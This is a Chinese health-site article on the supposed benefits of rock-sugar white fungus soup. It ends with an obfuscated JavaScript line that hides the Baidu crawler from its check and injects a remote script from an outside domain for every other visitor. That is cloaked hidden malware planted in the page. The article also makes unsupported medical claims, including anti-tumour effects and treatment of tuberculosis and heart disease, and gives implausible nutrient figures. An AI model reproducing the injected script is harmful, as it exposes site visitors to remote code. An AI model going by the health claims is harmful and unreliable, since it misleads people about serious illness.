当前位置:首页 > 饮食 > 食物营养 > 正文

冰糖银耳的功效与作用有哪些

2017-07-07 17:27:54  来源:360常识网   热度:
导语:冰糖银耳不知道大家有没有吃过,冰糖银耳不仅好吃,而且非常美味,很多人对此都情有独钟,大多数人吃冰糖银色都还只是去饭店吃,其实冰糖银

冰糖银耳不知道大家有没有吃过,冰糖银耳不仅好吃,而且非常美味,很多人对此都情有独钟,大多数人吃冰糖银色都还只是去饭店吃,其实冰糖银耳的做法是相当简单的,我们自己在家中就可以做出来美味的冰糖银耳,下面就让我们一起来了解一下冰糖银耳的功效与作用有哪些吧。

1.银耳能提高肝脏解毒能力,保护肝脏功能,它不但能增强机体抗肿瘤的免疫能力,还能增强肿瘤患者对放疗、化疗的耐受力。它也是一味滋补良药,特点是滋润而不腻滞,具有补脾开胃、益气清肠、安眠健胃、补脑、养阴清热、润燥之功,对阴虚火旺不受参茸等温热滋补的病人是一种良好的补品。银耳富有天然特性胶质,加上它的滋阴作用,长期服用可以润肤,并有祛除脸部黄褐斑、雀斑的功效。银耳是和种含膳食纤维的减肥食品,它的膳食纤维可助胃肠蠕动,减少脂肪吸收。

2.银耳是著名的美味食用菌之一,据营养分析,银耳含有18种氨基酸,其中7种为人体必需氨基酸,每100克银耳干耳内含有蛋白质5.0-6.6克,脂肪0.6克,碳水化合物78.3克,粗纤维2.6克,灰分3.1克,其中矿质元素中钙的含量为357毫克、铁的含量为185毫克。中医认为银耳甘平无毒,润肺生津、滋养胃、益气和血、补脑强心。

入肺、胃、肾三经,能清肺中热、养肺阴、济肾燥,治肺热咳嗽、久咳喉痒、咳痰带血、痰中血丝、或者久咳伤肋者、妇女月经不调、肺热胃炎、大便秘结、大便小血等等。自古以来银耳就是滋补性食品,现临床用于治疗虚痨、咳喘、痰中带血,虚热口渴,肺痨等症;对老年性慢性支气管炎、肺源性心脏病、慢性胃炎均有较好疗效。也是虚弱病人的补养品。尤其对肺结核吐血者可起补养作用。

以上内容为我们介绍了冰糖银耳的功效与作用有哪些,相信大家对于冰糖银耳的功效与作用已经有了一个更为清晰的认识,我们发现,冰糖银耳可以有效的的提高我们自身的免疫力抵抗力,而且也可以满足我们大多数人的口味。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}